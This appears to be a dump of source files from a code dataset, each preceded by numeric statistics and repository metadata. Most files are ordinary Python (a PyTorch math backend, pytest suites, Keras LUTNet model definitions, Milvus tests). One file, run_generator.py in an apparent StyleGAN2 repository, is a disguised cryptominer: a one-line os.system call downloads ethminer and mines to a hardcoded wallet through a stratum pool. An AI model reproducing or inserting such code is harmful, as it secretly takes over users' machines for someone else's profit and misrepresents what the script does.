| 15.666667 | 24 | 0.744681 | 6 | 47 | 5.833333 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170213 | 47 | 2 | 25 | 23.5 | 0.897436 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dc9dc726702953c4f6a7bf1a1ed6f51702c9e2bb | 5,242 | py | Python | geomstats/backend/pytorch.py | effigies/geomstats | 0d6979a15cefcf98f7f92bade9d0e4abee3dde14 | [
"MIT"
] | null | null | null | geomstats/backend/pytorch.py | effigies/geomstats | 0d6979a15cefcf98f7f92bade9d0e4abee3dde14 | [
"MIT"
] | null | null | null | geomstats/backend/pytorch.py | effigies/geomstats | 0d6979a15cefcf98f7f92bade9d0e4abee3dde14 | [
"MIT"
] | null | null | null | """Pytorch based computation backend."""
import numpy as np
import torch
double = 'torch.DoubleTensor'
float16 = 'torch.Float'
float64 = 'torch.DoubleTensor'
int32 = 'torch.LongTensor'
int8 = 'torch.ByteTensor'
def arctan2(*args, **kwargs):
return torch.arctan2(*args, **kwargs)
def cast(x, dtype):
return ... | 16.330218 | 75 | 0.632011 | 777 | 5,242 | 4.230373 | 0.184041 | 0.206876 | 0.181016 | 0.217219 | 0.111044 | 0.048068 | 0.048068 | 0.018862 | 0.018862 | 0.018862 | 0 | 0.00354 | 0.191721 | 5,242 | 320 | 76 | 16.38125 | 0.772245 | 0.01488 | 0 | 0.017857 | 0 | 0 | 0.015316 | 0 | 0 | 0 | 0 | 0.003125 | 0.005952 | 1 | 0.440476 | false | 0 | 0.011905 | 0.416667 | 0.904762 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
f4a8a9074dd50a67f32ee5c5476f2441451dfd51 | 39 | py | Python | Text Data - API Prediction/original/__init__.py | marouanel/Data-Projects | 2e10225a1cd005f1d7c237516c56cb97a0135613 | [
"Apache-2.0"
] | null | null | null | Text Data - API Prediction/original/__init__.py | marouanel/Data-Projects | 2e10225a1cd005f1d7c237516c56cb97a0135613 | [
"Apache-2.0"
] | null | null | null | Text Data - API Prediction/original/__init__.py | marouanel/Data-Projects | 2e10225a1cd005f1d7c237516c56cb97a0135613 | [
"Apache-2.0"
] | null | null | null | from .at_model import AuthorTopicModel
| 19.5 | 38 | 0.871795 | 5 | 39 | 6.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 39 | 1 | 39 | 39 | 0.942857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f4abc9116573323a44a0146b16b9ef9e2702bbb9 | 11,261 | py | Python | tests/python/renderer/test__table_renderer.py | dotmodules/dm | ec2ebf6c8b9ac707440a81d0f25003af6f0603c2 | [
"MIT"
] | null | null | null | tests/python/renderer/test__table_renderer.py | dotmodules/dm | ec2ebf6c8b9ac707440a81d0f25003af6f0603c2 | [
"MIT"
] | null | null | null | tests/python/renderer/test__table_renderer.py | dotmodules/dm | ec2ebf6c8b9ac707440a81d0f25003af6f0603c2 | [
"MIT"
] | null | null | null | import pytest
from pytest_mock.plugin import MockerFixture
from dotmodules.renderer import Colors, RenderError, TableRenderer
from dotmodules.settings import Settings
@pytest.fixture
def settings() -> Settings:
return Settings()
@pytest.fixture
def colors() -> Colors:
return Colors()
@pytest.fixture
def ... | 33.316568 | 87 | 0.539029 | 1,100 | 11,261 | 5.241818 | 0.101818 | 0.128512 | 0.066597 | 0.079084 | 0.865938 | 0.862817 | 0.861776 | 0.846167 | 0.836282 | 0.787374 | 0 | 0.006158 | 0.322263 | 11,261 | 337 | 88 | 33.41543 | 0.749345 | 0 | 0 | 0.699324 | 0 | 0 | 0.206998 | 0.115265 | 0 | 0 | 0 | 0 | 0.057432 | 1 | 0.043919 | false | 0 | 0.013514 | 0.010135 | 0.077703 | 0.040541 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f4c64ea5ed5a69dd9533b421e233546a360797ed | 1,244 | py | Python | matrix_extrapolation/bch_series_expansion/extrapolation_weights.py | ochsnerd/Hamiltonian_Extrapolation | a91e651a9515a22d6e279d567340182658bcd2f6 | [
"Apache-2.0"
] | null | null | null | matrix_extrapolation/bch_series_expansion/extrapolation_weights.py | ochsnerd/Hamiltonian_Extrapolation | a91e651a9515a22d6e279d567340182658bcd2f6 | [
"Apache-2.0"
] | null | null | null | matrix_extrapolation/bch_series_expansion/extrapolation_weights.py | ochsnerd/Hamiltonian_Extrapolation | a91e651a9515a22d6e279d567340182658bcd2f6 | [
"Apache-2.0"
] | null | null | null | import sympy as sp
from typing import Sequence, Union
class ExtrapolationWeightsSymmetric(Sequence):
"""Cached extrapolation-weights a, defined as
a_j = prod_q m_j^2 / (m_j^2 - m_q^2)
"""
def __init__(self, m: Sequence[int]) -> None:
assert len(m) == len(set(m))
assert all(m_j > 0 fo... | 26.468085 | 63 | 0.546624 | 203 | 1,244 | 3.083744 | 0.20197 | 0.044728 | 0.031949 | 0.044728 | 0.742812 | 0.742812 | 0.728435 | 0.651757 | 0.651757 | 0.610224 | 0 | 0.019025 | 0.323955 | 1,244 | 46 | 64 | 27.043478 | 0.725327 | 0.124598 | 0 | 0.592593 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 1 | 0.222222 | false | 0 | 0.074074 | 0.148148 | 0.518519 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
761b4f864e6290e583e953c07416b55c3bc299b8 | 69 | py | Python | project-euler/python/p0006.py | sanchopanca/coding-for-pleasure | fed1910e8a5a4241bd55aed333afd79b4405a71d | [
"MIT"
] | null | null | null | project-euler/python/p0006.py | sanchopanca/coding-for-pleasure | fed1910e8a5a4241bd55aed333afd79b4405a71d | [
"MIT"
] | null | null | null | project-euler/python/p0006.py | sanchopanca/coding-for-pleasure | fed1910e8a5a4241bd55aed333afd79b4405a71d | [
"MIT"
] | null | null | null | print(sum(range(1, 101)) ** 2 - sum([x * x for x in range(1, 101)]))
| 34.5 | 68 | 0.550725 | 15 | 69 | 2.533333 | 0.6 | 0.315789 | 0.473684 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.160714 | 0.188406 | 69 | 1 | 69 | 69 | 0.517857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
52103276f640bd60e59175304d99e8c4eb6d347a | 109 | py | Python | examples/run.py | edersohe/giab | 671099157c508c9bcb27eebbfb812a3d5744be58 | [
"MIT"
] | null | null | null | examples/run.py | edersohe/giab | 671099157c508c9bcb27eebbfb812a3d5744be58 | [
"MIT"
] | null | null | null | examples/run.py | edersohe/giab | 671099157c508c9bcb27eebbfb812a3d5744be58 | [
"MIT"
] | null | null | null | from giab import app, SERVER_OPTS, bottle
if __name__ == '__main__':
bottle.run(app=app, **SERVER_OPTS)
| 21.8 | 41 | 0.715596 | 16 | 109 | 4.25 | 0.6875 | 0.264706 | 0.382353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.155963 | 109 | 4 | 42 | 27.25 | 0.73913 | 0 | 0 | 0 | 0 | 0 | 0.073395 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
5255ab23888d36f26f8e902d2759683ad515fbc5 | 77 | py | Python | conv_gp/utils/__init__.py | Ninalgad/DeepCGP | 9752fed3d37ddb500f8ea2be2781a01a5773ba24 | [
"MIT"
] | 66 | 2018-10-06T08:27:17.000Z | 2022-01-10T14:27:04.000Z | conv_gp/utils/__init__.py | Ninalgad/DeepCGP | 9752fed3d37ddb500f8ea2be2781a01a5773ba24 | [
"MIT"
] | 4 | 2018-11-01T07:45:40.000Z | 2019-09-04T13:40:29.000Z | conv_gp/utils/__init__.py | Ninalgad/DeepCGP | 9752fed3d37ddb500f8ea2be2781a01a5773ba24 | [
"MIT"
] | 18 | 2018-10-09T23:34:07.000Z | 2021-12-01T16:47:20.000Z | from .log import *
from .tensorboard import *
from .misc import RunOpAction
| 15.4 | 29 | 0.766234 | 10 | 77 | 5.9 | 0.6 | 0.338983 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.168831 | 77 | 4 | 30 | 19.25 | 0.921875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
526582f406d4b1158a29dfb8b1abefaaf997f1fe | 118 | py | Python | anti_sybil/graphs/generators/__init__.py | abramsymons/BrightID-AntiSybil | 86161afe654f46475944ebdb3b5453a1723180d9 | [
"ISC"
] | null | null | null | anti_sybil/graphs/generators/__init__.py | abramsymons/BrightID-AntiSybil | 86161afe654f46475944ebdb3b5453a1723180d9 | [
"ISC"
] | null | null | null | anti_sybil/graphs/generators/__init__.py | abramsymons/BrightID-AntiSybil | 86161afe654f46475944ebdb3b5453a1723180d9 | [
"ISC"
] | 1 | 2020-03-28T05:05:19.000Z | 2020-03-28T05:05:19.000Z | import cut_region
import no_group
import group_based
import group_merging
import networkrepository
import seed_mirror
| 16.857143 | 24 | 0.898305 | 17 | 118 | 5.941176 | 0.588235 | 0.217822 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.101695 | 118 | 6 | 25 | 19.666667 | 0.95283 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
bff87d1a03fd6351a83e6eef74e6b1848d6c42eb | 90 | py | Python | mylib/__init__.py | mchiquier/pytorch-truecaser | ab8ce3d9bcd1a1ce367fa03ea37da6d29f88458a | [
"Apache-2.0"
] | 28 | 2019-03-29T06:24:16.000Z | 2022-03-22T15:31:02.000Z | mylib/__init__.py | mchiquier/pytorch-truecaser | ab8ce3d9bcd1a1ce367fa03ea37da6d29f88458a | [
"Apache-2.0"
] | 3 | 2019-03-02T18:03:56.000Z | 2021-04-21T13:29:33.000Z | mylib/__init__.py | mchiquier/pytorch-truecaser | ab8ce3d9bcd1a1ce367fa03ea37da6d29f88458a | [
"Apache-2.0"
] | 9 | 2019-03-05T13:52:41.000Z | 2021-12-30T07:45:33.000Z | from . import truecaser
from . import truecaser_reader
from . import truecaser_predictor
| 18 | 33 | 0.822222 | 11 | 90 | 6.545455 | 0.454545 | 0.416667 | 0.791667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144444 | 90 | 4 | 34 | 22.5 | 0.935065 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
87056f87a813b9848b310f42940803a9feffc085 | 209 | py | Python | __init__.py | IguanaAzul/SpectroGAN | 4bcff817a86b8f3253f9dca1d396a27d1fa30662 | [
"Apache-2.0"
] | null | null | null | __init__.py | IguanaAzul/SpectroGAN | 4bcff817a86b8f3253f9dca1d396a27d1fa30662 | [
"Apache-2.0"
] | null | null | null | __init__.py | IguanaAzul/SpectroGAN | 4bcff817a86b8f3253f9dca1d396a27d1fa30662 | [
"Apache-2.0"
] | null | null | null | from .spectrogram_conversion import generate_spectrogram, generate_all_spectrograms, retrieve_audio, retrieve_audios_from_folder
from dcgan import Discriminator, Generator, train_gan, load_dataset, save_model
| 69.666667 | 128 | 0.889952 | 26 | 209 | 6.730769 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.07177 | 209 | 2 | 129 | 104.5 | 0.902062 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
87162ffd13d5e58ec454005ef720ec9331d57ed2 | 126 | py | Python | models/__init__.py | vuiseng9/CalibTIP | 69077c92611b079234706784c344e8c9156f3283 | [
"MIT"
] | 61 | 2020-06-14T20:00:05.000Z | 2022-03-08T10:18:41.000Z | models/__init__.py | vuiseng9/CalibTIP | 69077c92611b079234706784c344e8c9156f3283 | [
"MIT"
] | 5 | 2020-09-01T06:53:41.000Z | 2022-01-28T07:40:45.000Z | models/__init__.py | vuiseng9/CalibTIP | 69077c92611b079234706784c344e8c9156f3283 | [
"MIT"
] | 18 | 2020-06-28T10:30:58.000Z | 2022-02-28T02:04:15.000Z | from .resnet import *
from .resnext import *
from .resnet_pytcv import *
from .mobilenet_v2 import *
from .inception import *
| 21 | 27 | 0.761905 | 17 | 126 | 5.529412 | 0.470588 | 0.425532 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009434 | 0.15873 | 126 | 5 | 28 | 25.2 | 0.877358 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
87403ac98ff88f9f6e2dd9f97f2731d2985856d1 | 4,851 | py | Python | unrolled-lutnet/training-software/model_architectures.py | awai54st/LUTNet | 81b044f31d1131bee1a7fae41fc4d2fb102ea73a | [
"BSD-2-Clause"
] | 38 | 2019-10-28T10:06:33.000Z | 2022-02-21T21:38:39.000Z | unrolled-lutnet/training-software/model_architectures.py | awai54st/LUTNet | 81b044f31d1131bee1a7fae41fc4d2fb102ea73a | [
"BSD-2-Clause"
] | null | null | null | unrolled-lutnet/training-software/model_architectures.py | awai54st/LUTNet | 81b044f31d1131bee1a7fae41fc4d2fb102ea73a | [
"BSD-2-Clause"
] | 13 | 2019-10-28T10:17:48.000Z | 2021-08-10T21:37:11.000Z |
import tensorflow as tf
import keras
from keras.models import Sequential, Model
from keras.layers import Dense, Convolution2D, Activation, Flatten, MaxPooling2D,Input,Dropout,GlobalAveragePooling2D
from keras.layers.normalization import BatchNormalization
from tensorflow.python.framework import ops
from binarization_u... | 68.323944 | 135 | 0.808493 | 764 | 4,851 | 4.908377 | 0.134817 | 0.096 | 0.113333 | 0.074667 | 0.845067 | 0.8296 | 0.8296 | 0.8296 | 0.819467 | 0.809067 | 0 | 0.028013 | 0.050711 | 4,851 | 70 | 136 | 69.3 | 0.786319 | 0.00536 | 0 | 0.596774 | 0 | 0 | 0.029028 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.016129 | false | 0 | 0.112903 | 0 | 0.145161 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8744c06f01825299d537dfd1939496d72d00c084 | 368 | py | Python | run_generator.py | KunalSingh19yt/StyleGAN2 | 75a17dbf3f9e93995c6952514324f30da85c3412 | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | KunalSingh19yt/StyleGAN2 | 75a17dbf3f9e93995c6952514324f30da85c3412 | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | KunalSingh19yt/StyleGAN2 | 75a17dbf3f9e93995c6952514324f30da85c3412 | [
"BSD-Source-Code"
] | null | null | null | import os
os.system("apt update && apt install wget unzip -y && wget https://github.com/ethereum-mining/ethminer/releases/download/v0.18.0/ethminer-0.18.0-cuda-9-linux-x86_64.tar.gz && tar -zxvf ethminer-0.18.0-cuda-9-linux-x86_64.tar.gz && cd bin/ && ./ethminer -U -P stratum2+tcp://0x6ff85749ffac2d3a36efa2bc916305433f... | 122.666667 | 357 | 0.763587 | 60 | 368 | 4.65 | 0.666667 | 0.032258 | 0.078853 | 0.086022 | 0.229391 | 0.229391 | 0.229391 | 0.229391 | 0.229391 | 0.229391 | 0 | 0.169096 | 0.067935 | 368 | 2 | 358 | 184 | 0.644315 | 0 | 0 | 0 | 0 | 0.5 | 0.934783 | 0.375 | 0 | 0 | 0.11413 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
875205f494ba361729c1bf9b3113b585b656461a | 113 | py | Python | src/kbana/capture/__init__.py | agmaengine/kbana | 65408358062848bf9a2e08f0c2a7b80d387bc753 | [
"MIT"
] | null | null | null | src/kbana/capture/__init__.py | agmaengine/kbana | 65408358062848bf9a2e08f0c2a7b80d387bc753 | [
"MIT"
] | null | null | null | src/kbana/capture/__init__.py | agmaengine/kbana | 65408358062848bf9a2e08f0c2a7b80d387bc753 | [
"MIT"
] | null | null | null | from .keyboard_capture import Recorder, load_recording, save_recording, get_keyboard_language, flatten_recording
| 56.5 | 112 | 0.884956 | 14 | 113 | 6.714286 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070796 | 113 | 1 | 113 | 113 | 0.895238 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
87585f86cfe7d6f1cf5ca2241e540ad7a1ba10f9 | 15,590 | py | Python | tests20/python_client/testcases/test_utility.py | shinoys222/milvus | bc8392eb1e71f12de54ad4efd14dcd7f7b353d23 | [
"Apache-2.0"
] | null | null | null | tests20/python_client/testcases/test_utility.py | shinoys222/milvus | bc8392eb1e71f12de54ad4efd14dcd7f7b353d23 | [
"Apache-2.0"
] | null | null | null | tests20/python_client/testcases/test_utility.py | shinoys222/milvus | bc8392eb1e71f12de54ad4efd14dcd7f7b353d23 | [
"Apache-2.0"
] | null | null | null | import copy
import pdb
import pytest
from pymilvus_orm import FieldSchema
from base.client_base import TestcaseBase
from base.collection_wrapper import ApiCollectionWrapper
from base.partition_wrapper import ApiPartitionWrapper
from base.index_wrapper import ApiIndexWrapper
from base.utility_wrapper import ApiUtilityWr... | 36.943128 | 162 | 0.659012 | 2,002 | 15,590 | 4.82967 | 0.086913 | 0.040335 | 0.037646 | 0.061847 | 0.862344 | 0.840521 | 0.824801 | 0.774123 | 0.724687 | 0.659013 | 0 | 0.009093 | 0.252277 | 15,590 | 421 | 163 | 37.030879 | 0.820365 | 0.215779 | 0 | 0.672131 | 0 | 0 | 0.048905 | 0 | 0 | 0 | 0 | 0.007126 | 0.139344 | 1 | 0.114754 | false | 0 | 0.053279 | 0 | 0.180328 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5e55f73c2a86f2dd55e0bb3efcee4238d5951700 | 44 | py | Python | Cursos/dados.py | FranciscoAlveJr/Bot_Telegram | 9960485a4a25648719ef6fafcb3b02c82db79253 | [
"MIT"
] | null | null | null | Cursos/dados.py | FranciscoAlveJr/Bot_Telegram | 9960485a4a25648719ef6fafcb3b02c82db79253 | [
"MIT"
] | null | null | null | Cursos/dados.py | FranciscoAlveJr/Bot_Telegram | 9960485a4a25648719ef6fafcb3b02c82db79253 | [
"MIT"
] | null | null | null | import os
import cursos
print(os.getcwd())
| 8.8 | 18 | 0.75 | 7 | 44 | 4.714286 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136364 | 44 | 4 | 19 | 11 | 0.868421 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0.333333 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5e8c7ae9323402a2e943debbb338d413fae25f82 | 55 | py | Python | glue/dialogs/link_editor/qt/__init__.py | ejeschke/glue | 21689e3474aeaeb70e258d76c60755596856976c | [
"BSD-3-Clause"
] | 3 | 2015-09-10T22:23:55.000Z | 2019-04-04T18:47:33.000Z | glue/dialogs/link_editor/qt/__init__.py | ejeschke/glue | 21689e3474aeaeb70e258d76c60755596856976c | [
"BSD-3-Clause"
] | null | null | null | glue/dialogs/link_editor/qt/__init__.py | ejeschke/glue | 21689e3474aeaeb70e258d76c60755596856976c | [
"BSD-3-Clause"
] | null | null | null | from .link_editor import *
from .link_equation import * | 27.5 | 28 | 0.8 | 8 | 55 | 5.25 | 0.625 | 0.380952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.127273 | 55 | 2 | 28 | 27.5 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5ea780703eb96440131ff2f7df9c05a71828097d | 186 | py | Python | services/homeberry/tests/modules/soundplayer/test_player.py | georgeyord/homeberry | c21d531901a3df9d3efde7cbf83fb5a29223069f | [
"Apache-2.0"
] | 1 | 2020-04-23T06:28:16.000Z | 2020-04-23T06:28:16.000Z | services/homeberry/tests/modules/soundplayer/test_player.py | georgeyord/homeberry | c21d531901a3df9d3efde7cbf83fb5a29223069f | [
"Apache-2.0"
] | null | null | null | services/homeberry/tests/modules/soundplayer/test_player.py | georgeyord/homeberry | c21d531901a3df9d3efde7cbf83fb5a29223069f | [
"Apache-2.0"
] | null | null | null | import os
from application.modules.soundplayer import setup_notes, sounds
def test_setup_notes():
assert len(sounds) == 0
setup_notes(os.getcwd())
assert len(sounds) == 7
| 18.6 | 63 | 0.72043 | 26 | 186 | 5 | 0.615385 | 0.230769 | 0.230769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013072 | 0.177419 | 186 | 9 | 64 | 20.666667 | 0.836601 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.166667 | true | 0 | 0.333333 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
5ebadb2002017d8130dec126c7a2fc5f100dc143 | 204 | py | Python | app/config.py | susieward/xfiles-generator | c20457200d01ad9a742d0bc831313ff45a93a6f0 | [
"MIT"
] | null | null | null | app/config.py | susieward/xfiles-generator | c20457200d01ad9a742d0bc831313ff45a93a6f0 | [
"MIT"
] | null | null | null | app/config.py | susieward/xfiles-generator | c20457200d01ad9a742d0bc831313ff45a93a6f0 | [
"MIT"
] | null | null | null |
class Config:
RNN_PATH = './app/models/rnn/trained_rnn_lstm5.h5'
MODEL_PATH = './app/models/transformer'
TEXT_PATH = './app/models/data/xfiles_117.txt'
def get_config():
return Config()
| 22.666667 | 54 | 0.686275 | 29 | 204 | 4.586207 | 0.655172 | 0.157895 | 0.293233 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02924 | 0.161765 | 204 | 8 | 55 | 25.5 | 0.748538 | 0 | 0 | 0 | 0 | 0 | 0.458128 | 0.458128 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0.166667 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
0d5be2d42eb097a5005bd9fc3ff1a2779502be43 | 123 | py | Python | test/testapp/views.py | jboegeholz/flask_urls | 382fcf7763a3aa35c6e395e308546589318679d8 | [
"MIT"
] | 1 | 2021-06-21T15:18:51.000Z | 2021-06-21T15:18:51.000Z | test/testapp/views.py | jboegeholz/flask_urls | 382fcf7763a3aa35c6e395e308546589318679d8 | [
"MIT"
] | null | null | null | test/testapp/views.py | jboegeholz/flask_urls | 382fcf7763a3aa35c6e395e308546589318679d8 | [
"MIT"
] | 1 | 2021-09-25T15:29:45.000Z | 2021-09-25T15:29:45.000Z | def index():
return "hello index"
def get_users():
return "hello users!"
def admin():
return "Hello Admin"
